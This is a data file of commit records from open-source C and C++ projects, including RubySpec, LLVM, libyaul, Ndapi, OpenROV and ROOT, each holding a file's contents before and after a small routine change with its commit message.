{"commit":"c22a793cc1ea01e03a01dc86b1a82480e9d27f29","old_file":"optional\/capi\/ext\/mri.h","new_file":"optional\/capi\/ext\/mri.h","old_contents":"#ifndef RUBYSPEC_CAPI_MRI_H\n#define RUBYSPEC_CAPI_MRI_H\n\n\/* #undef any HAVE_ defines that MRI does not have. *\/\n#undef HAVE_RB_HASH_LOOKUP\n#undef HAVE_RB_HASH_SIZE\n\n#undef HAVE_RB_OBJ_FROZEN_P\n\n#undef HAVE_RB_STR_PTR\n#undef HAVE_RB_STR_PTR_READONLY\n\n#undef HAVE_THREAD_BLOCKING_REGION\n\n#ifdef RUBY_VERSION_IS_1_9\n#undef HAVE_RARRAY\n#undef HAVE_RFLOAT\n#undef HAVE_RSTRING\n#undef HAVE_STR2CSTR\n#undef HAVE_RB_STR2CSTR\n#undef HAVE_RB_CVAR_SET\n#undef HAVE_RB_SET_KCODE\n#endif\n\n\/* Macros that may not be defined in old versions *\/\n#ifndef RARRAY_PTR\n#define RARRAY_PTR(s) (*(VALUE *const *)&RARRAY(s)->ptr)\n#endif\n\n#ifndef RARRAY_LEN\n#define RARRAY_LEN(s) (*(const long *)&RARRAY(s)->len)\n#endif\n\n#ifndef RFLOAT_VALUE\n#define RFLOAT_VALUE(v) (RFLOAT(v)->value)\n#endif\n\n#endif\n","new_contents":"#ifndef RUBYSPEC_CAPI_MRI_H\n#define RUBYSPEC_CAPI_MRI_H\n\n\/* #undef any HAVE_ defines that MRI does not have. *\/\n#undef HAVE_RB_HASH_LOOKUP\n#undef HAVE_RB_HASH_SIZE\n\n#undef HAVE_RB_OBJ_FROZEN_P\n\n#undef HAVE_RB_STR_PTR\n#undef HAVE_RB_STR_PTR_READONLY\n\n#undef HAVE_THREAD_BLOCKING_REGION\n\n#ifdef RUBY_VERSION_IS_1_9\n#undef HAVE_RARRAY\n#undef HAVE_RFLOAT\n#undef HAVE_RSTRING\n#undef HAVE_STR2CSTR\n#undef HAVE_RB_STR2CSTR\n#undef HAVE_RB_CVAR_SET\n#undef HAVE_RB_SET_KCODE\n#endif\n\n\/* RubySpec assumes following are public API *\/\n#ifndef rb_proc_new\nVALUE rb_proc_new _((VALUE (*)(ANYARGS\/* VALUE yieldarg[, VALUE procarg] *\/), VALUE));\n#endif\n#ifndef rb_str_len\nint rb_str_len(VALUE);\n#endif\n#ifndef rb_set_errinfo\nvoid rb_set_errinfo(VALUE);\n#endif\n\n\/* Macros that may not be defined in old versions *\/\n#ifndef RARRAY_PTR\n#define RARRAY_PTR(s) (*(VALUE *const *)&RARRAY(s)->ptr)\n#endif\n\n#ifndef RARRAY_LEN\n#define RARRAY_LEN(s) (*(const long *)&RARRAY(s)->len)\n#endif\n\n#ifndef RFLOAT_VALUE\n#define RFLOAT_VALUE(v) (RFLOAT(v)->value)\n#endif\n\n#endif\n","subject":"Add prototype of non public API of MRI.","message":"Add prototype of non public API of MRI.\n\nRubySpec may want to test some APIs even if they are not declared as\npublic API by MRI team. This commit is not to confirm they are public.\n","lang":"C","license":"mit","repos":"BanzaiMan\/rubyspec,bl4ckdu5t\/rubyspec,sgarciac\/spec,DavidEGrayson\/rubyspec,DavidEGrayson\/rubyspec,rkh\/rubyspec,enricosada\/rubyspec,ericmeyer\/rubyspec,alexch\/rubyspec,alex\/rubyspec,yous\/rubyspec,josedonizetti\/rubyspec,metadave\/rubyspec,julik\/rubyspec,lucaspinto\/rubyspec,MagLev\/rubyspec,enricosada\/rubyspec,rdp\/rubyspec,mrkn\/rubyspec,sferik\/rubyspec,roshats\/rubyspec,shirosaki\/rubyspec,tinco\/rubyspec,BanzaiMan\/rubyspec,sgarciac\/spec,askl56\/rubyspec,terceiro\/rubyspec,godfat\/rubyspec,agrimm\/rubyspec,flavio\/rubyspec,neomadara\/rubyspec,nobu\/rubyspec,alindeman\/rubyspec,nobu\/rubyspec,griff\/rubyspec,bomatson\/rubyspec,DawidJanczak\/rubyspec,ruby\/rubyspec,yaauie\/rubyspec,lucaspinto\/rubyspec,atambo\/rubyspec,freerange\/rubyspec,Aesthetikx\/rubyspec,terceiro\/rubyspec,eregon\/rubyspec,askl56\/rubyspec,yous\/rubyspec,Zoxc\/rubyspec,markburns\/rubyspec,oggy\/rubyspec,ericmeyer\/rubyspec,julik\/rubyspec,kidaa\/rubyspec,teleological\/rubyspec,sferik\/rubyspec,mrkn\/rubyspec,griff\/rubyspec,shirosaki\/rubyspec,chesterbr\/rubyspec,qmx\/rubyspec,kachick\/rubyspec,jannishuebl\/rubyspec,Aesthetikx\/rubyspec,kidaa\/rubyspec,amarshall\/rubyspec,ruby\/spec,JuanitoFatas\/rubyspec,iainbeeston\/rubyspec,jstepien\/rubyspec,bjeanes\/rubyspec,mbj\/rubyspec,saturnflyer\/rubyspec,godfat\/rubyspec,iliabylich\/rubyspec,rdp\/rubyspec,benlovell\/rubyspec,timfel\/rubyspec,neomadara\/rubyspec,jvshahid\/rubyspec,mbj\/rubyspec,roshats\/rubyspec,yb66\/rubyspec,wied03\/rubyspec,teleological\/rubyspec,metadave\/rubyspec,benburkert\/rubyspec,oggy\/rubyspec,rkh\/rubyspec,kachick\/rubyspec,jannishuebl\/rubyspec,no6v\/rubyspec,kachick\/rubyspec,ruby\/spec,alindeman\/rubyspec,atambo\/rubyspec,freerange\/rubyspec,amarshall\/rubyspec,qmx\/rubyspec,nevir\/rubyspec,JuanitoFatas\/rubyspec,DawidJanczak\/rubyspec,ruby\/rubyspec,bl4ckdu5t\/rubyspec,iainbeeston\/rubyspec,jvshahid\/rubyspec,yb66\/rubyspec,MagLev\/rubyspec,scooter-dangle\/rubyspec,bomatson\/rubyspec,xaviershay\/rubyspec,Zoxc\/rubyspec,no6v\/rubyspec,wied03\/rubyspec,saturnflyer\/rubyspec,markburns\/rubyspec,xaviershay\/rubyspec,tinco\/rubyspec,scooter-dangle\/rubyspec,jstepien\/rubyspec,josedonizetti\/rubyspec,timfel\/rubyspec,benlovell\/rubyspec,nobu\/rubyspec,alexch\/rubyspec,alex\/rubyspec,eregon\/rubyspec,ruby\/spec,nevir\/rubyspec,wied03\/rubyspec,agrimm\/rubyspec,sgarciac\/spec,bjeanes\/rubyspec,yaauie\/rubyspec,eregon\/rubyspec,flavio\/rubyspec,iliabylich\/rubyspec,chesterbr\/rubyspec,benburkert\/rubyspec"}
{"commit":"23e0a58c5a48802946cf0fbadef023179a443f05","old_file":"include\/llvm\/Bytecode\/Reader.h","new_file":"include\/llvm\/Bytecode\/Reader.h","old_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/Bytecode\/Reader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const unsigned char *Buffer, unsigned BufferSize,\n                            std::string *ErrorStr = 0);\n\n#endif\n","new_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/Bytecode\/Reader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n#include <vector>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const unsigned char *Buffer, unsigned BufferSize,\n                            std::string *ErrorStr = 0);\n\n\/\/ ReadArchiveFile - Read bytecode files from the specfied .a file, returning\n\/\/ true on error, or false on success.\n\/\/\nbool ReadArchiveFile(const std::string &Filename, std::vector<Module*> &Objects,\n                     std::string *ErrorStr = 0);\n\n#endif\n","subject":"Add prototype to read .a files","message":"Add prototype to read .a files\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@5821 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"40400617eba718214ec442d495ec9869c471f839","old_file":"SWXSLTransform.h","new_file":"SWXSLTransform.h","old_contents":"\/\/\n\/\/  SWXSLTransform.h\n\/\/  This file is part of the \"SWXMLMapping\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 23\/02\/12.\n\/\/  Copyright (c) 2012 Samuel Williams. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SWXSLTransform : NSObject {\n\tNSURL * _baseURL;\n\tvoid * _stylesheet;\n}\n\n\/\/\/ The base URL that was used to load the stylesheet:\n@property(nonatomic,strong) NSURL * baseURL;\n\n\/\/\/ Initialize the XSL stylesheet from the given URL:\n- (instancetype) initWithURL:(NSURL *)url NS_DESIGNATED_INITIALIZER;\n\n\/\/\/ Use the XSL stylesheet to process a string containing XML with a set of arguments.\n\/\/\/ Arguments are typically evaluated by the XSLT processor, so, for example, strings must be passed with an additional set of quotes.\n- (NSData *) processDocument:(NSString *)xmlBuffer arguments:(NSDictionary *)arguments;\n\n@end\n","new_contents":"\/\/\n\/\/  SWXSLTransform.h\n\/\/  This file is part of the \"SWXMLMapping\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 23\/02\/12.\n\/\/  Copyright (c) 2012 Samuel Williams. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SWXSLTransform : NSObject {\n\tNSURL * _baseURL;\n\tvoid * _stylesheet;\n}\n\n\/\/\/ The base URL that was used to load the stylesheet:\n@property(nonatomic,strong) NSURL * baseURL;\n\n- (instancetype) init NS_UNAVAILABLE;\n\n\/\/\/ Initialize the XSL stylesheet from the given URL:\n- (instancetype) initWithURL:(NSURL *)url NS_DESIGNATED_INITIALIZER;\n\n\/\/\/ Use the XSL stylesheet to process a string containing XML with a set of arguments.\n\/\/\/ Arguments are typically evaluated by the XSLT processor, so, for example, strings must be passed with an additional set of quotes.\n- (NSData *) processDocument:(NSString *)xmlBuffer arguments:(NSDictionary *)arguments;\n\n@end\n","subject":"Mark init as being unavailable.","message":"Mark init as being unavailable.\n","lang":"C","license":"mit","repos":"oriontransfer\/SWXMLMapping"}
{"commit":"425aa9921544bd60bd26f2429a41deb2e156bd34","old_file":"Cpp\/declare.h","new_file":"Cpp\/declare.h","old_contents":"\/*!\n * @brief Template C++-header file\n *\n * This is a template C++-header file\n * @author  <+AUTHOR+>\n * @date    <+DATE+>\n * @file    <+FILE+>\n * @version 0.1\n *\/\n#ifndef <+FILE_CAPITAL+>_H\n#define <+FILE_CAPITAL+>_H\n\n\n\/*!\n * @brief Template class\n *\/\nclass <+FILEBASE+>\n{\nprivate:\npublic:\n  <+FILEBASE+>() {\n    <+CURSOR+>\n  }\n};  \/\/ class <+FILEBASE+>\n\n\n#endif  \/\/ <+FILE_CAPITAL+>_H\n","new_contents":"\/*!\n * @brief Template C++-header file\n *\n * This is a template C++-header file\n * @author  <+AUTHOR+>\n * @date    <+DATE+>\n * @file    <+FILE+>\n * @version 0.1\n *\/\n#ifndef <+FILE_CAPITAL+>_H\n#define <+FILE_CAPITAL+>_H\n\n#include <iostream>\n\n\n\/*!\n * @brief Template class\n *\/\nclass <+FILE_PASCAL+>\n{\nprivate:\npublic:\n  <+FILEBASE+>() {\n    <+CURSOR+>\n  }\n\n  template<typename CharT, typename Traits>\n    friend std::basic_ostream<CharT, Traits>&\n    operator<<(std::basic_ostream<CharT, Traits>& os, const CoutTest& this_);\n\n  template<typename CharT, typename Traits>\n    friend std::basic_istream<CharT, Traits>&\n    operator>>(std::basic_istream<CharT, Traits>& is, CoutTest& this_);\n};  \/\/ class <+FILE_PASCAL+>\n\n\ntemplate<typename CharT, typename Traits>\nstd::basic_ostream<CharT, Traits>&\noperator<<(std::basic_ostream<CharT, Traits>& os, const CoutTest& this_)\n{\n\n  return os;\n}\n\n\ntemplate<typename CharT, typename Traits>\nstd::basic_istream<CharT, Traits>&\noperator>>(std::basic_istream<CharT, Traits>& is, CoutTest& this_)\n{\n\n  return is;\n}\n\n\n#endif  \/\/ <+FILE_CAPITAL+>_H\n","subject":"Enable to treat with std::cout and std::cin","message":"Enable to treat with std::cout and std::cin\n","lang":"C","license":"mit","repos":"koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate"}
{"commit":"28f263f2eef862952af22e7668e7c1d0e0937c1f","old_file":"libyaul\/common\/stack.c","new_file":"libyaul\/common\/stack.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdint.h>\n\n#include \"stack.h\"\n\nchar *\nstack_backtrace(void)\n{\n        extern void *_text_start;\n        extern void *_text_end;\n\n        static char buf[1024];\n\n        uintptr_t fp;\n        uintptr_t pr;\n\n        int level;\n\n        \/* Obtain address of the caller and its frame pointer before it\n         * is clobbered by any subsequent calls *\/\n        STACK_RET_ADDRESS(pr);\n        STACK_FPTR(fp);\n\n        level = 0;\n        *buf = '\\0';\n        do {\n                (void)sprintf(buf, \"%s #%i 0x%08X in ??? ()\\n\",\n                    buf, level, (uintptr_t)pr);\n\n                pr = STACK_FPTR_RET_ADDRESS_GET(fp);\n                fp = STACK_FPTR_NEXT_GET(fp);\n\n                level++;\n        } while (((pr >= (uint32_t)&_text_start)) && (pr < ((uint32_t)&_text_end)));\n\n        return buf;\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdint.h>\n\n#include \"stack.h\"\n\nchar *\nstack_backtrace(void)\n{\n        extern void *_text_start;\n        extern void *_text_end;\n\n        static char buf[256];\n\n        uintptr_t fp;\n        uintptr_t pr;\n\n        int level;\n\n        \/* Obtain address of the caller and its frame pointer before it\n         * is clobbered by any subsequent calls *\/\n        STACK_RET_ADDRESS(pr);\n        STACK_FPTR(fp);\n\n        level = 0;\n        *buf = '\\0';\n        do {\n                (void)snprintf(buf, 256, \"%s #%i 0x%08X in ??? ()\\n\",\n                    buf, level, (uintptr_t)pr);\n\n                pr = STACK_FPTR_RET_ADDRESS_GET(fp);\n                fp = STACK_FPTR_NEXT_GET(fp);\n\n                level++;\n        } while (((pr >= (uint32_t)&_text_start)) && (pr < ((uint32_t)&_text_end)));\n\n        return buf;\n}\n","subject":"Use snprintf() instead of sprintf()","message":"Use snprintf() instead of sprintf()\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"a46b7fabdb79de949d0d795cf2ec0accc2a34a4b","old_file":"Ndapi\/Ndapi.h","new_file":"Ndapi\/Ndapi.h","old_contents":"#pragma once\r\n\r\n#include <ORATYPES.H>\r\n\r\nusing namespace System;\r\nusing namespace System::Runtime::InteropServices;\r\n\r\nnamespace Ndapi\r\n{\r\n\t[Serializable]\r\n\tpublic ref class NdapiException : public Exception\r\n\t{\r\n\tprivate:\r\n\t\tlong _status;\r\n\r\n\tpublic:\r\n\t\tproperty long Status \r\n\t\t{ \r\n\t\t\tlong get() \r\n\t\t\t{\r\n\t\t\t\treturn _status;\r\n\t\t\t}\r\n\t\t};\r\n\r\n\tpublic protected:\r\n\t\tNdapiException() : Exception() {}\r\n\t\tNdapiException(String^ message) : Exception(message) {}\r\n\t\tNdapiException(String^ message, Exception^ inner) : Exception(message, inner) {}\r\n\t\tNdapiException(String^ message, long status) : Exception(message)\r\n\t\t{\r\n\t\t\t_status = status;\r\n\t\t}\r\n\t};\r\n\r\n\ttemplate<class T>\r\n\tclass NativeString\r\n\t{\r\n\tprivate:\r\n\t\tT* value;\r\n\t\tNativeString(const NativeString&);\r\n\t\tNativeString& operator = (const NativeString&);\r\n\r\n\tpublic:\r\n\t\tNativeString(String^ s);\r\n\t\t~NativeString() { Marshal::FreeHGlobal(IntPtr(value)); }\r\n\t\toperator T* () { return value; }\r\n\t};\r\n}","new_contents":"#pragma once\r\n\r\n#include <ORATYPES.H>\r\n\r\nusing namespace System;\r\nusing namespace System::Runtime::InteropServices;\r\n\r\nnamespace Ndapi\r\n{\r\n\t[Serializable]\r\n\tpublic ref class NdapiException : public Exception\r\n\t{\r\n\tprivate:\r\n\t\tlong _status;\r\n\r\n\tpublic:\t\t\r\n\t\tproperty long Status \r\n\t\t{ \r\n\t\t\tlong get() \r\n\t\t\t{\r\n\t\t\t\treturn _status;\r\n\t\t\t}\r\n\t\t};\r\n\r\n\tpublic protected:\r\n\t\tNdapiException() : Exception() {}\r\n\t\tNdapiException(String^ message) : Exception(message) {}\r\n\t\tNdapiException(String^ message, Exception^ inner) : Exception(message, inner) {}\r\n\t\tNdapiException(String^ message, long status) : Exception(message)\r\n\t\t{\r\n\t\t\t_status = status;\r\n\t\t}\r\n\t};\r\n\r\n\ttemplate<class T>\r\n\tclass NativeString\r\n\t{\r\n\tprivate:\r\n\t\tT* value;\r\n\r\n\tpublic:\r\n\t\tNativeString(String^ s);\r\n\t\tNativeString(const NativeString&) = delete;\r\n\t\tNativeString& operator = (const NativeString&) = delete;\r\n\t\t~NativeString() { Marshal::FreeHGlobal(IntPtr(value)); }\r\n\t\toperator T* () { return value; }\r\n\t};\r\n}","subject":"Use =delete to disallow copy","message":"Use =delete to disallow copy\n","lang":"C","license":"mit","repos":"felipebz\/ndapi"}
{"commit":"3e2851f3711355d1db7c286b3738513f4adc3dca","old_file":"OpenROV\/Motors.h","new_file":"OpenROV\/Motors.h","old_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 128\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","new_contents":"#ifndef __MOTORS_H_\n#define __MOTORS_H_\n\n#include <Servo.h>\n\n#define MIDPOINT 90\n\nclass Motors {\n  private:\n    Servo port, vertical, starbord;\n    int port_pin, vertical_pin, starbord_pin;\n    \n  public:\n  \n    Motors(int p_pin, int v_pin, int s_pin);\n    void reset();\n    void go(int p, int v, int s);\n    void stop();\n    \n};\n\n#endif\n","subject":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)","message":"Set MIDPOINT to 90 instead of 128 (servo lib goes from 0 to 180)\n","lang":"C","license":"mit","repos":"binary42\/openrov-software-arduino,OpenROV\/openrov-software-arduino,johan--\/openrov-software-arduino,dieface\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,binary42\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,johan--\/openrov-software-arduino,OpenROV\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,dieface\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,OpenROV\/openrov-software-arduino"}
{"commit":"a18de90de5ef80a1785dea6f2ca1be26e0fddc1d","old_file":"rootx\/src\/rootcoreteam.h","new_file":"rootx\/src\/rootcoreteam.h","old_contents":"#ifndef ROOT_ROOTCoreTeam\n#define ROOT_ROOTCoreTeam\n\nnamespace ROOT {\nnamespace ROOTX {\n\n\/\/This string will be updated by external script, reading names from http:\/\/root.cern.ch\/gitstats\/authors.html.\n\/\/The string has an internal linkage (it has a definition here, not in rootxx.cxx or rootx-cocoa.mm files.\n\/\/So this header can be included in different places (as soon as you know what you're doing).\n\/\/Please, do not modify this file.\n\n\/\/[STRINGTOREPLACE\nconst char * gROOTCoreTeam = \"Andrei Gheata, Axel Naumann, Bertrand Bellenot, Cristina Cristescu,\"\n                             \" Danilo Piparo, Fons Rademakers, Gerardo Ganis, Ilka Antcheva,\"\n                             \" Lorenzo Moneta, Matevz Tadel, Olivier Couet, Paul Russo, Pere Mato,\"\n                             \" Philippe Canal, Rene Brun, Timur Pocheptsov, Valeri Onuchin,\"\n                             \" Vassil Vassilev, Wim Lavrijsen, Wouter Verkerke\\n\\n\";\n\/\/STRINGTOREPLACE]\n\n}\n}\n\n#endif","new_contents":"#ifndef ROOT_ROOTCoreTeam\n#define ROOT_ROOTCoreTeam\n\nnamespace ROOT {\nnamespace ROOTX {\n\n\/\/This string will be updated by external script, reading names from http:\/\/root.cern.ch\/gitstats\/authors.html.\n\/\/The names are sorted in alphabetical order.\n\/\/The string has an internal linkage (it has a definition here, not in rootxx.cxx or rootx-cocoa.mm files.\n\/\/So this header can be included in different places (as soon as you know what you're doing).\n\/\/Please, do not modify this file.\n\nconst char * gROOTCoreTeam =\n\/\/[STRINGTOREPLACE\n\"Andrei Gheata, Axel Naumann, Bertrand Bellenot, Cristina Cristescu,\"\n\" Danilo Piparo, Fons Rademakers, Gerardo Ganis, Ilka Antcheva,\"\n\" Lorenzo Moneta, Matevz Tadel, Olivier Couet, Paul Russo, Pere Mato,\"\n\" Philippe Canal, Rene Brun, Timur Pocheptsov, Valeri Onuchin,\"\n\" Vassil Vassilev, Wim Lavrijsen, Wouter Verkerke.\\n\\n\";\n\/\/STRINGTOREPLACE]\n\n}\n}\n\n#endif","subject":"Make it even simpler for a script to replace.","message":"Make it even simpler for a script to replace.\n","lang":"C","license":"lgpl-2.1","repos":"CristinaCristescu\/root,esakellari\/root,0x0all\/ROOT,smarinac\/root,pspe\/root,lgiommi\/root,davidlt\/root,arch1tect0r\/root,pspe\/root,vukasinmilosevic\/root,satyarth934\/root,mhuwiler\/rootauto,Y--\/root,krafczyk\/root,krafczyk\/root,Y--\/root,sawenzel\/root,zzxuanyuan\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,sbinet\/cxx-root,davidlt\/root,thomaskeck\/root,buuck\/root,sawenzel\/root,omazapa\/root-old,omazapa\/root,arch1tect0r\/root,mkret2\/root,beniz\/root,agarciamontoro\/root,gbitzes\/root,sbinet\/cxx-root,sawenzel\/root,gbitzes\/root,perovic\/root,zzxuanyuan\/root,gbitzes\/root,omazapa\/root-old,pspe\/root,agarciamontoro\/root,esakellari\/root,beniz\/root,gganis\/root,georgtroska\/root,veprbl\/root,Duraznos\/root,olifre\/root,esakellari\/root,pspe\/root,sirinath\/root,veprbl\/root,veprbl\/root,evgeny-boger\/root,olifre\/root,lgiommi\/root,BerserkerTroll\/root,omazapa\/root,Y--\/root,evgeny-boger\/root,karies\/root,sirinath\/root,perovic\/root,omazapa\/root-old,satyarth934\/root,mkret2\/root,gganis\/root,olifre\/root,mattkretz\/root,simonpf\/root,krafczyk\/root,dfunke\/root,zzxuanyuan\/root,zzxuanyuan\/root,mattkretz\/root,nilqed\/root,0x0all\/ROOT,nilqed\/root,sbinet\/cxx-root,davidlt\/root,mkret2\/root,perovic\/root,abhinavmoudgil95\/root,omazapa\/root,abhinavmoudgil95\/root,esakellari\/root,omazapa\/root,vukasinmilosevic\/root,simonpf\/root,sawenzel\/root,sirinath\/root,gbitzes\/root,gbitzes\/root,nilqed\/root,pspe\/root,sirinath\/root,Duraznos\/root,CristinaCristescu\/root,davidlt\/root,0x0all\/ROOT,root-mirror\/root,beniz\/root,evgeny-boger\/root,esakellari\/my_root_for_test,georgtroska\/root,georgtroska\/root,vukasinmilosevic\/root,sirinath\/root,mattkretz\/root,jrtomps\/root,thomaskeck\/root,mattkretz\/root,agarciamontoro\/root,arch1tect0r\/root,Duraznos\/root,krafczyk\/root,georgtroska\/root,buuck\/root,arch1tect0r\/root,gbitzes\/root,jrtomps\/root,agarciamontoro\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,karies\/root,krafczyk\/root,CristinaCristescu\/root,omazapa\/root,BerserkerTroll\/root,root-mirror\/root,veprbl\/root,lgiommi\/root,omazapa\/root-old,gbitzes\/root,mattkretz\/root,lgiommi\/root,vukasinmilosevic\/root,lgiommi\/root,evgeny-boger\/root,veprbl\/root,mkret2\/root,beniz\/root,krafczyk\/root,BerserkerTroll\/root,agarciamontoro\/root,perovic\/root,satyarth934\/root,georgtroska\/root,mattkretz\/root,BerserkerTroll\/root,gganis\/root,davidlt\/root,lgiommi\/root,olifre\/root,jrtomps\/root,root-mirror\/root,Duraznos\/root,BerserkerTroll\/root,buuck\/root,arch1tect0r\/root,vukasinmilosevic\/root,buuck\/root,zzxuanyuan\/root,simonpf\/root,sbinet\/cxx-root,BerserkerTroll\/root,dfunke\/root,satyarth934\/root,arch1tect0r\/root,beniz\/root,perovic\/root,omazapa\/root-old,simonpf\/root,olifre\/root,dfunke\/root,davidlt\/root,bbockelm\/root,smarinac\/root,perovic\/root,0x0all\/ROOT,olifre\/root,sirinath\/root,Duraznos\/root,beniz\/root,veprbl\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,CristinaCristescu\/root,gbitzes\/root,gganis\/root,arch1tect0r\/root,BerserkerTroll\/root,pspe\/root,nilqed\/root,vukasinmilosevic\/root,root-mirror\/root,buuck\/root,root-mirror\/root,gganis\/root,perovic\/root,pspe\/root,pspe\/root,esakellari\/my_root_for_test,abhinavmoudgil95\/root,sbinet\/cxx-root,nilqed\/root,bbockelm\/root,abhinavmoudgil95\/root,Y--\/root,mhuwiler\/rootauto,omazapa\/root-old,abhinavmoudgil95\/root,bbockelm\/root,thomaskeck\/root,buuck\/root,karies\/root,dfunke\/root,esakellari\/my_root_for_test,jrtomps\/root,abhinavmoudgil95\/root,simonpf\/root,omazapa\/root-old,esakellari\/my_root_for_test,root-mirror\/root,davidlt\/root,karies\/root,perovic\/root,Y--\/root,esakellari\/root,esakellari\/root,sawenzel\/root,agarciamontoro\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,mattkretz\/root,zzxuanyuan\/root,Y--\/root,olifre\/root,gbitzes\/root,lgiommi\/root,agarciamontoro\/root,vukasinmilosevic\/root,simonpf\/root,pspe\/root,Y--\/root,esakellari\/my_root_for_test,beniz\/root,root-mirror\/root,vukasinmilosevic\/root,sirinath\/root,davidlt\/root,jrtomps\/root,satyarth934\/root,lgiommi\/root,sbinet\/cxx-root,CristinaCristescu\/root,satyarth934\/root,0x0all\/ROOT,sawenzel\/root,mkret2\/root,vukasinmilosevic\/root,dfunke\/root,sbinet\/cxx-root,satyarth934\/root,smarinac\/root,nilqed\/root,georgtroska\/root,veprbl\/root,arch1tect0r\/root,bbockelm\/root,0x0all\/ROOT,karies\/root,bbockelm\/root,thomaskeck\/root,CristinaCristescu\/root,smarinac\/root,thomaskeck\/root,CristinaCristescu\/root,mattkretz\/root,simonpf\/root,abhinavmoudgil95\/root,dfunke\/root,evgeny-boger\/root,mhuwiler\/rootauto,esakellari\/my_root_for_test,esakellari\/root,pspe\/root,Duraznos\/root,evgeny-boger\/root,nilqed\/root,zzxuanyuan\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,nilqed\/root,lgiommi\/root,sirinath\/root,nilqed\/root,gganis\/root,jrtomps\/root,veprbl\/root,bbockelm\/root,esakellari\/root,olifre\/root,perovic\/root,buuck\/root,mkret2\/root,lgiommi\/root,perovic\/root,pspe\/root,omazapa\/root-old,0x0all\/ROOT,beniz\/root,mkret2\/root,root-mirror\/root,BerserkerTroll\/root,sirinath\/root,krafczyk\/root,gbitzes\/root,smarinac\/root,root-mirror\/root,omazapa\/root,sawenzel\/root,thomaskeck\/root,esakellari\/my_root_for_test,sawenzel\/root,smarinac\/root,satyarth934\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,bbockelm\/root,sirinath\/root,mkret2\/root,veprbl\/root,abhinavmoudgil95\/root,thomaskeck\/root,davidlt\/root,karies\/root,evgeny-boger\/root,BerserkerTroll\/root,omazapa\/root-old,beniz\/root,Berserker